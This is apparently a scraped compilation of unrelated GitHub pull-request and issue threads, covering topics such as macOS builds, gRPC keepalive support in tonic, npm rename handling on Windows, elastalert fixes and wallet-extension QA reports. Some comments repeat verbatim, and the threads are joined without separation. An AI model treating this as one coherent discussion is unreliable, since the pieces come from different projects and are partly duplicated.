@JAORMX I agree that Seccomp and SELinux are not supported on OSX. The reason I am trying to build on OSX is to make contributions to this repository from non-Linux OS.
Lots of engineers including me use OSX as the main dev box and it makes it harder to switch over to Linux to contribute to this repository. For example, none of the k8s operators can directly run on osx but the contributors are not contrived to a single OS.
The goal is to encourage devs to contribute to this repository also provide a comprehensive contributing guide similar to this https://github.com/kubernetes-sigs/kubebuilder/blob/master/CONTRIBUTING.md#what-to-do-before-submitting-a-pull-request , so it clearly communicates what can run locally and how can it be tested (unit and e2e).
Hope this answers your questions, would be more than happy to discuss if you have other thoughts smile

oh! I understand now, the intent is not to have the operator run on OSX, but to just be able to build it. Got it! Thanks for the explanation.
LGTM

LGTM, thank you! Can you please squash your commits into a single one? 😇

I can do, that.

LGTM, thank you! Can you please squash your commits into a single one? 😇

I can do, that.

While I don't have a super strong opinion one way or the other (in fact I did similar patches for other operators because we were getting issues from macOS users), I wonder if you have considered using something like VSCode with its remote plugin. That allows to use e.g. a Linux VM and edit and develop there.

While I don't have a super strong opinion one way or the other (in fact I did similar patches for other operators because we were getting issues from macOS users), I wonder if you have considered using something like VSCode with its remote plugin. That allows to use e.g. a Linux VM and edit and develop there.

While I don't have a super strong opinion one way or the other (in fact I did similar patches for other operators because we were getting issues from macOS users), I wonder if you have considered using something like VSCode with its remote plugin. That allows to use e.g. a Linux VM and edit and develop there.

I have thought about it. I use vim as the editor. But decided not to know because that brings in another dependency to sync all the tools and settings like vimrc, brew bundle, git settings, etc. I find the current situation very easy. It flows very well with my current setup.

While I don't have a super strong opinion one way or the other (in fact I did similar patches for other operators because we were getting issues from macOS users), I wonder if you have considered using something like VSCode with its remote plugin. That allows to use e.g. a Linux VM and edit and develop there.

I have thought about it. I use vim as the editor. But decided not to know because that brings in another dependency to sync all the tools and settings like vimrc, brew bundle, git settings, etc. I find the current situation very easy. It flows very well with my current setup.

/lgtm

/lgtm


Working only on the matplotlib window

We would like to be able to work only in the graphical window "matplotlib" rather than going back and forth between this window and the terminal.
Example: when the user is asked to enter a feature name for the polygon he has just drawn, this should be done in the graphical window and not in the terminal (moreover, it should be asked AFTER the user has drawn his polygon, and not before the user has drawn it).
(For this, see what Shane Maloney has written)

Done in dev


Added framework.html in public folder

This PR concerns with issue #3
Content and User Interface are placeholder for now.
And will be changed according to our need.
@pixan198 please review

Sure, I will change it.

Separated CSS and HTML part of the code.
@pixan198 @suvansh-rana  please review.

@Aaliya7516 it looks good to me!


Support GRPC Keepalive without calls

Feature Request
Hello, the GRPC has it's own way of doing keepalive, besides you could use the SO_KEEPALIVE flag on the TCP socket. Currently, the GRPC HTTP 2 keepalive is not implemented. The ping part of the protocol can be found here. Here is the documentation of the GRPC part on this.

The keepalive ping is a way to check if a channel is currently working by sending HTTP2 pings over the transport. It is sent periodically, and if the ping is not acknowledged by the peer within a certain timeout period, the transport is disconnected.

Motivation
Without keepalive, long idle connections will be dropped, especially if you have, for instance, a network load balancer that doesn't know the protocol used.
Proposal
Implement the GRPC oficial keepalive solution using HTTP 2 ping frames. The server needs to schedule those ping commands and handle the ACK (and the client).
GRPC - https://github.com/grpc/grpc/blob/master/doc/keepalive.md
HTTP 2 - https://http2.github.io/http2-spec/#PING
From the GRPC FAC:

FAQ

When is the keepalive timer started?

The keepalive timer is started when a transport is done connecting (after handshake).

What happens when the keepalive timer fires?

When the keepalive timer fires, gRPC Core will try to send a keepalive ping on the transport. This ping can be blocked if -

there is no active call on that transport and GRPC_ARG_KEEPALIVE_PERMIT_WITHOUT_CALLS is false.
the number of pings already sent on the transport without any data has already exceeded GRPC_ARG_HTTP2_MAX_PINGS_WITHOUT_DATA.
the time elapsed since the previous ping is less than GRPC_ARG_HTTP2_MIN_SENT_PING_INTERVAL_WITHOUT_DATA_MS.

If a keepalive ping is not blocked and is sent on the transport, then the keepalive watchdog timer is started which will close the transport if the ping is not acknowledged before it fires.

Why am I receiving a GOAWAY with error code ENHANCE_YOUR_CALM?

A server sends a GOAWAY with ENHANCE_YOUR_CALM if the client sends too many misbehaving pings. For example -

if a server has GRPC_ARG_KEEPALIVE_PERMIT_WITHOUT_CALLS set to false and the client sends pings without there being any call in flight.
if the client's GRPC_ARG_HTTP2_MIN_SENT_PING_INTERVAL_WITHOUT_DATA_MS setting is lower than the server's GRPC_ARG_HTTP2_MIN_RECV_PING_INTERVAL_WITHOUT_DATA_MS.

Looking into this a bit more it looks like h2 doesn't support sending custom data on the keepalive. https://docs.rs/h2/0.2.1/h2/struct.Ping.html
The other problem here will be that hyper doens't support ping either. So I would think for this custom behavior we would want to have a custom transport. But I don't like the idea of maintaining something that is not hyper. It might be worth it to open an issue for custom pings in the hyper repo.

This would currently be a blocker for us for moving from grpc-rs.

I am a bit short on time today but the next steps would be to open the corresponding issues in h2 and hyper around custom pings. The problem I see here that will make this really hard is that we have not figured out how to send a keepalive ping via tower-service. Most likely we will have to offload some of this to hyper.
cc @seanmonstar

Some more details:

h2 allows sending of pings, but doesn't allow customizing the payload (is this required?), and only allows a single outstanding (user) ping at a time.
I've been experimenting using that ping internally in hyper for BDP flow control, so if also used for keep alive, then h2 may need to grow support for different user ping payloads. Maybe worth an issue to discuss.

Besides extra support in h2, hyper would need to expose a way to send pings. If so, ideally it's done in a way that supports HTTP3 in the future (does that have pings)?
Or, I suppose it could just grow a couple http2_keepalive knobs and do it internally?

I did a little searching this is what I found:
https://github.com/grpc/grpc-go/blob/6b9bf4296edc5fae722a5dff887a954ffc599b12/internal/transport/http2_client.go#L1325
https://github.com/grpc/grpc-java/blob/a408d086bd12ea9049424de3ce325cc65420c231/netty/src/main/java/io/grpc/netty/NettyServerHandler.java#L103
https://github.com/grpc/grpc-java/blob/a408d086bd12ea9049424de3ce325cc65420c231/netty/src/main/java/io/grpc/netty/NettyServerHandler.java#L871
So very inconclusive.
Yeah, I think it makes sense for hyper to expose some sort of config option for this. H3 still seems far away but we can introduce it as an http2 option?

Also looks like we may need to echo exactly what is pinged to us in the ping frame.
Reference: https://github.com/grpc/grpc/blob/master/doc/PROTOCOL-HTTP2.md#ping-frame

h2 already automatically responds to PING frames received over the wire.

Relevant PR in hyper providing generic HTTP2 keep-alive support: https://github.com/hyperium/hyper/pull/2151

hyper v0.13.4 now includes options to set some HTTP2 keep-alive options. So, next would be taking advantage of them in tonic.

This has been done in #307

I was testing this out, and it does seem like there is a slight mismatch from the spec in terms of error codes returned.  In hyperium/hyper#2151, KeepAliveTimedOut from h2 seems to get mapped to h2::Reason::INTERNAL_ERROR, but [from here]:(https://github.com/grpc/grpc/blob/master/doc/PROTOCOL-HTTP2.md#ping-frame)

An expired client initiated PING will cause all calls to be closed with an UNAVAILABLE status. Note that the frequency of PINGs is highly dependent on the network environment, implementations are free to adjust PING frequency based on network and application requirements.

The error I was seeing was:

[status: Internal, message: "h2 protocol error: protocol error: unexpected internal error encountered", details: [], metadata: MetadataMap { headers: {} }]

Does tonic get the information it needs to be able to map that to UNAVAILABLE, or would that require a change in h2?

@seanmonstar ^ we likely want to forward that?

We could maybe get hyper's error type to have is_timeout() return true in that case also, and then maybe tonic could look for that? Or maybe tonic doesn't have that tight coupling with hyper.

I was able to take a closer look at hyper::Error and how it might integrate with tonic::Status.  I'll follow up with that in https://github.com/hyperium/tonic/pull/629 once I've had a chance to clean up some of the tests.  It seems like there is a reasonable way to handle both the is_timeout() case and connection errors that I was seeing in that PR.

How can the tonic server be configured to allow PERMIT_KEEPALIVE_WITHOUT_CALLS? Currently I get  RESOURCE_EXHAUSTED: HTTP/2 error code: ENHANCE_YOUR_CALM (Bandwidth exhausted) when I configure my client with keepAliveWithoutCalls = true


rpiboot: Allow selecting by serial number

Add a new command line flag to select the compute module by serial number. This requires walking the USB device list, finding the serial of each and comparing it against the supplied string.
This mechanism does not bypass the VID/PID checks.
Untested at time of PR. Review with extreme caution.

Aiming to test this out tomorrow AM GMT.

Seems ok


Readme links fix - point to release-2.2

The links in the README redirect to a 404. The valid documentation links point to release-2.2 instead of master.
Signed-off-by: Rijul Aggarwal<EMAIL_ADDRESS>

The sample code points to a specific code version, so we must point to the matching doc. No changes will be needed when this code base is finally merged into a dedicated branch for release-2.2.

However since the release-2.2 is not as up to date as latest, for example the https://hyperledger-fabric.readthedocs.io/en/latest/secured_asset_transfer/secured_private_asset_transfer_tutorial.html is not in release-2.2
I think we are forced to use "latest" on the links


ninja: 1.7.2 -> 1.8.2

Motivation for this change
Updates Ninja to its latest version, released Sep 13
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option build-use-sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Fits CONTRIBUTING.md.

@orivej Great! Thank you!

@GrahamcOfBorg build ninja


[admission-control] Make AC runtime multi-threaded

Motivation
Currently the AC proxy setup is single-threaded, which is not ideal for performance. This PR makes this process multi-threaded by using bounded executor to process the upstream requests.
In order to support this, I had to refactor UpstreamProxy to not share data such as ac_config, network_sender, peer_info, etc across the whole process, since different threads would each need access to their own data. UpstreamProxyData is the struct that will hold all the information that can be cloned and passed to each thread when process_submit_transaction_request is called.
Test Plan
cargo test -- test_full_node_basic_flow --nocapture

:umbrella: The latest upstream changes (presumably 2834a4f0fd1bf1fa36a3de5a2e90375f14b74a4a) made this pull request unmergeable. Please resolve the merge conflicts.

@bors-libra: delegate+

:v: @sunmilee can now approve this pull request

@bors-libra: r+

:pushpin: Commit 6f24401 has been approved by sunmilee

:hourglass: Testing commit 6f24401d91d15ad29bfea52d47d3e9a985541a9c with merge<PHONE_NUMBER>87a1647f42a793e92414853a5fa335...

:sunny: Test successful - checks-circle_commit_workflow
Approved by: sunmilee
Pushing<PHONE_NUMBER>87a1647f42a793e92414853a5fa335 to master...


win: serialize read/write/appendFile and rename

Ref: suggestion by @iarna in https://github.com/npm/npm/pull/10940#issuecomment-169494645
rename can be used to atomically overwrite files in UNIX, but fails in Windows when the destination is open. A file can be deleted while open but will only be deleted on disk after it is closed, so a new file cannot take its place right away. This change adds a queue, making rename mutually exclusive with read/write/appendFile.
This approach still has two known drawbacks:

Does not work for multiple processes.
The path passed as argument is used to identify the file, so if a relative path is used it must always be the same. This is enough to solve the npm issue~~, but I could add a realpath call~~.

State must be shared between polyfills.js and graceful-fs.js. I changed the interface of polyfills.js, but can change to something else if more appropriate. Perhaps moving rename to graceful-fs.js or file{Enqueue|Next} to exports of polyfills.js?

Cannot use realpath to disambiguate the path, because it creates a handle and that conflicts with rename.

I had been imagining something a little simpler, just a simple "retry n times" type thing, something like (untested code follows):
  var fs$rename = fs.rename
  fs.rename = rename
  function rename (from, to, cb) {
    var triesRemaining = 10
    return go$rename(from, to, cb)

    function go$rename () {
      return fs$rename(from, to, function (err) {
        if (triesRemaining-- && err && err.code === 'EPERM') {
          setTimeout(go$rename, 10)
        } else {
          if (typeof cb === 'function')
            cb.apply(this, arguments)
        }
      })
    }
  }

rename already retries for up to 1 second. I tried to remove that, and without it npm fails much faster. This completely solves the problem, albeit for this specific and very similar scenarios.


unsupported operand type(s) for +=: 'int' and 'NoneType'

Under certain circumstances, the event argument passed in the functions 'append' or 'append_middle' of the RuleTypes class can be None.
The aforementioned functions now perform a None check so that errors such as the below are avoided:
ERROR:root:Traceback (most recent call last):
  File "/usr/lib/python3.6/site-packages/elastalert/elastalert.py", line 1269, in handle_rule_execution
    num_matches = self.run_rule(rule, endtime, rule.get('initial_starttime'))
  File "/usr/lib/python3.6/site-packages/elastalert/elastalert.py", line 897, in run_rule
    self.run_query(rule, tmp_endtime, endtime)
  File "/usr/lib/python3.6/site-packages/elastalert/elastalert.py", line 649, in run_query
    rule_inst.add_aggregation_data(data)
  File "/usr/lib/python3.6/site-packages/elastalert/ruletypes.py", line 1144, in add_aggregation_data
    self.handle_event(event, agg_value, 'all')
  File "/usr/lib/python3.6/site-packages/elastalert/ruletypes.py", line 448, in handle_event
    self.cur_windows[qk].append((event, count))
  File "/usr/lib/python3.6/site-packages/elastalert/ruletypes.py", line 321, in append
    self.running_count += event[1]
TypeError: unsupported operand type(s) for +=: 'int' and 'NoneType'

ERROR:root:Uncaught exception running rule /opt/elastalert/rules/SpikeRule12: unsupported operand type(s) for +=: 'int' and 'NoneType'

@Qmando FYI

Merged into elastalert2.
https://github.com/jertel/elastalert2/pull/37


Normalize filenames and re-work World Spoiler header

Put each meaningful argument into the logging output to the client and as a side-effect, also to the spoiler file

Logic
Difficulty
Mode
Goal
Entrance Shuffle
Filling Algorithm
Beatable (explanation of what it means)
Dungeon Items (explanation of what it means)
Heart Beep (just in case they don't like the default)
QuickSwap (because it was providing resistance earlier)

Change delimiters and re-order elements in output filename to more-closely resemble VT's filename structure, still having elements of Entrance Shuffle's settings
Include whether or not QuickSwap is enabled (because it was providing resistance earlier)
ER_noglitches_normal-open-ganon_full-restrictive_seedID (no QuickSwap)
ER_noglitches_normal-open-ganon_full-restrictive-quickswap_seedID (yes QuickSwap)

Integrated in b7a8cedf42f24bba5a768a220f6481c88fd9d44f and 8fbb6ba04ec2f67bbdd9262d297cb9f1321c0da2, not merged due to intermediate changes in Spoiler format.


Back 2.0

Goal
Make moving backwards in mb.bat more predictable and stable.
Motivation
At the moment, back.bat performs the action of erasing previous changes - such as entering an asset - and taking you back to where you were before. It does so by erasing environment variables, but it couldn't erase those that were appended to e.g. PYTHONPATH without risking erasing more or less than it is supposed to.
:: Enter a project
set PYTHONPATH=/asset/scripts;%PYTHONPATH%

:: Back
:: How to erase an inserted path? Was there more than one inserted path? Who knows?
set PYTHONPATH=???;%PYTHONPATH%

Implementation
When typing cmd from an existing terminal, your current environment is duplicated and put into a new terminal session. At this point, you are in a shell within a shell.  Basically like Inception. And like Inception, you can exit one session which would take you back to the previous session.
$ echo %MYVAR%
%MYVAR%
$ cmd
$ set MYVAR=Hello
$ echo %MYVAR%
Hello
$ exit
$ echo %MYVAR%
%MYVAR%

The above session illustrates this in action. A new session is entered, where we attempt to echo a variable we haven't yet created. We then enter a new session, create it and echo it successfully.
We then type exit which closes this session, restoring the environment to how it was before entering it. In this case, %MYVAR% is removed.
The same applies to appending to variables, such as PATH and PYTHONPATH. Modifying these in a session within a session enabled the user to exit and restore the previous environment.

awesome explanation.
will look into this.

With Launcher on the horizon, this will no longer be necessary.


Feature/ex 3854 migrate search adapter to mono-repo

Pull Request Template
The goal of this PR is to migrate the search adapter repo to the mono-repo.
Motivation and Context
In order to go open source we need to include all the packages to the mono-repo.

@guillei10 for future PR includes what or how to test.


Add logo to the docs

In GitLab by @wtbarnes on Jun 1, 2021, 17:58
Add AIA logo to the docs. It would be nice to have a specific aiapy logo at some point...

In GitLab by @wtbarnes on Aug 31, 2022, 12:36
added 1 design

In GitLab by @wtbarnes on Aug 31, 2022, 12:38
removed 1 design

In GitLab by @wtbarnes on Sep 27, 2022, 11:55
Some possible mockups:

I don't like any of these.

In GitLab by @wtbarnes on Aug 31, 2022, 12:42
I've added one possible conception above. It still needs an actual mockup though. This also may be a bit too crowded. I've partly taken inspiration from the USPS stamps
Regardless of the design, we should also maintain multiple versions of the logo.

In GitLab by @wtbarnes on Aug 31, 2022, 12:40
added 1 design

Lets give up on a logo


support command-r

Confirmed working with Command-R-Plus as well. (GPTQ quants)
good work!

@ZhouXingg thanks for the contribution!


Scaffolding Dbcontext with -a (annotations) downed dependency injection

In ASP.NET Core Web Application (.NET Core), scaffolding with -a (annotations) make dbcontext not injected and so, trying to add controller or view with data model also fail.

@gitmar Can you provide the commandline you are using for this?


Elemental riddles

PR Description 📜
This is an Educational game based of periodic table elements.
The player will be provided with 2 hints.
If the player guesses correctly on first hint, 10 points will be awared.
If the player guesses correctly on second hint, 5 points will be awared.
At the end a small description will be added about the element to enhance your knowledge.
Fixes #2564

Mark the task you have completed ✅

[x] I follow CONTRIBUTING GUIDELINE & CODE OF CONDUCT of this project.
[x] I have performed a self-review of my own code or work.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] My changes generates no new warnings.
[x] I have followed proper naming convention showed in CONTRIBUTING GUIDELINE
[x] I have added screenshot for website preview in assets/images
[x] I have added entries for my game in main README.md
[x] I have added README.md in my folder
[x] I have specified the respective issue number for which I have requested the new game.

Add your screenshots(Optional) 📸

Thank you soo much for contributing to our repository 💗

Thank you @Nikita06211 ,for creating the PR and contributing to our GameZone 💗
Review team will review the PR and will reach out to you soon! 😇
Make sure that you have marked all the tasks that you are done with ✅.
Thank you for your patience! 😀

Still a conflicts in the branch @Nikita06211

@gurjeetsinghvirdee sir am unable to resolve that conflict , kindly help

Close this PR sync your repo then make a PR again


Documentation versions differ to latest or selected

Describe the bug
The documentation (e.g. v1.12.0) uses AVP_VERSION in different version as selected or latest.
To Reproduce
See examples from v1.12.0:
https://github.com/argoproj-labs/argocd-vault-plugin/blob/9c7288a5b2d395fea19c1100f2cd07b547cc1ee2/docs/installation.md?plain=1#L82-L83
https://github.com/argoproj-labs/argocd-vault-plugin/blob/9c7288a5b2d395fea19c1100f2cd07b547cc1ee2/docs/installation.md?plain=1#L118
https://github.com/argoproj-labs/argocd-vault-plugin/blob/9c7288a5b2d395fea19c1100f2cd07b547cc1ee2/docs/installation.md?plain=1#L192-L193
https://github.com/argoproj-labs/argocd-vault-plugin/blob/9c7288a5b2d395fea19c1100f2cd07b547cc1ee2/docs/installation.md?plain=1#L277
Expected behavior
The selected version here e.g. 1.12.0 should be displayed.

Closing this as a duplicate of #410


Improve data fetching for better performance and UX

Description:

[x] - Caching data in chrome store
[x] - Show most recent data instead of loading icon in case of connection failure
[x] - Remove some cron and subscription jobs when idling
[x] - Allow user to manually refresh data
[x] - Add refresh button for network can't connect
[x] - Add update endpoint button for network can't connect

Pls check Transaction History in the fist time after upgrade extension
Actual: Display transaction history incorrect (see file attachment below)

Check issues:

[ ] Informations is incorrect when switch account in case turn on - turn off extension
Steps:

Open the extension (both expand & popup mode)
Current Account = All Account
Turn off the extension for 3 - 5 minutes
Turn on the extension
Switch form All Account to Account A
Observe the information being displayed
Actual: Still showing information of the All Account even though current account is Account A
Expected: display data is correct

[ ] Still displaying NFT of the network which is inactive
Steps:

Open the extension & switch to any network (example: switch to Kusama)
Go to NFTs tab then observe NFTs being displayed
Go to Custom Network screen, then disconnect Kusama chain
Back to NFT tabs then observe NFTs being displayed again
Actual: Still displaying NFT

[ ] Displaying wrong information on balance, NFT,... when switching accounts after a period of opening without using extension
Steps:

Open the extension on expand mode
Switch from Account A to Account B then observe the balance, tokens, NFTs,...
Still open the extension but don't use it for 3 - 5 minutes
Back to the extension, switch from Account B to Account A then check data being displayed
Actual: Still showing information of the Account B even though current account is Account A

[ ] Still showing sent NFT
Steps:

Open the extension on Firefox browser
Switch to Account A & check the NFT is showing
Open the extension on Chrome browser, still with Account A on, the user sends any NFT from Account A to another Account
After send NFT successfully, back to Firefox browser then check NFT is showing
Perform switch to another account then check NFT is showing
Actual:

The sent NFT is still displayed in Account A
Even though the switch account is still showing the sent NFT
NFT is updated only when user performing Reload Extension

Please check:

[ ] EVM chain balance updated continuously

Note for tester: Check this case after dev fixed bug "Still showing sent NFT"

[ ] The sender address shows wrong balance after send fund successfully
Steps:

Open the extension
Switch to Account A and check its balance
Go to the Send fund screen
Select tokens = ROC then perform send fund successfully
Back to Homepage & check this account's ROC balance
Actual:

If the receiving address and sending address are on the same session then ROC balance = receipt address balance
If the receiving address and sending address are on the difference session then ROC balance = All balance
Expected: Shows correct balance

Version test: https://file.cdmteck.com/s/4oimk9zDJ8R5Aai/download?path=%2F&files=./346-merge-build-0.4.7-1656662903820.zip
Pls check this issues:

[ ] EVM accounts update Sub-token, balance is delayed when user perform:
Switch Account
Turn on popup
Import tokens
Network Setting
See this file attachment: https://www.loom.com/share/e6bafbe5a51a4f3bae21cd3766c0bfec

Version test:
Please check this issue:

[ ] Can not loading information in case the browser shuts down improperly

Steps:

Open the expand extension on browser Brave
Use extension
Shut down the device (case: the browser shuts down improperly)
Reopen your device & browser Brave
Then observe the information displayed

Actual: Can not load the information

User must be reload extension or open the popup extension to load the information
Expected: Load & show correct information
(File record step 4, 5:


[MonorepoBuilder] Change workers ordering method

In my case I would need a custom workflow replacing the last two steps.
With the original solution it is hard to do. I should "hard copy" the original classes, create my new classes, and I should play the priority.
In this case you don't have to consider with priorities, you can create a simple list of workers, insert new one anywhere or remove any of them. Easy to create, change and overview it.

@TomasVotruba Is there any problem with my solution?

Hi, there were just to many changes to instantly review.
The main problem is in manual registration in config. That only causes troubles.
If you can get rid of that, we can move on

OK, but this is the main advantage of this solution :) , that you can configure everything and you can easily change everything.
Easy to extend and easy to reuse the existing code, and more clear how the steps follow. The "original way" is too inflexible, I can disable only ALL symplify workflow steps. But I need most of them except the last two.
Yes, it can cause troubles, but the risk isn't higher than at other configuration options. Please think again.

It's a quick solution that meets your needs, yes.
In the long term it would affect all other architecture in Symplify, that is by default services-based, not config-based. Saying that, I'm not open to move back to configs.
If you come with non-config based solution, I'm open to it.


[Completion] Only skip result builder expressions in the same builder

Previously we would skip any expression in a result builder that didn't contain the completion token, but that would cause issues if e.g the result builder was needed to infer the type of a variable that we're completing on. Instead, only skip expressions in a result builder if the completion token is in the same builder and the expression itself doesn't contain the completion.
rdar://127154780
Resolves #72399

@swift-ci please test

Same stress tester failure as on main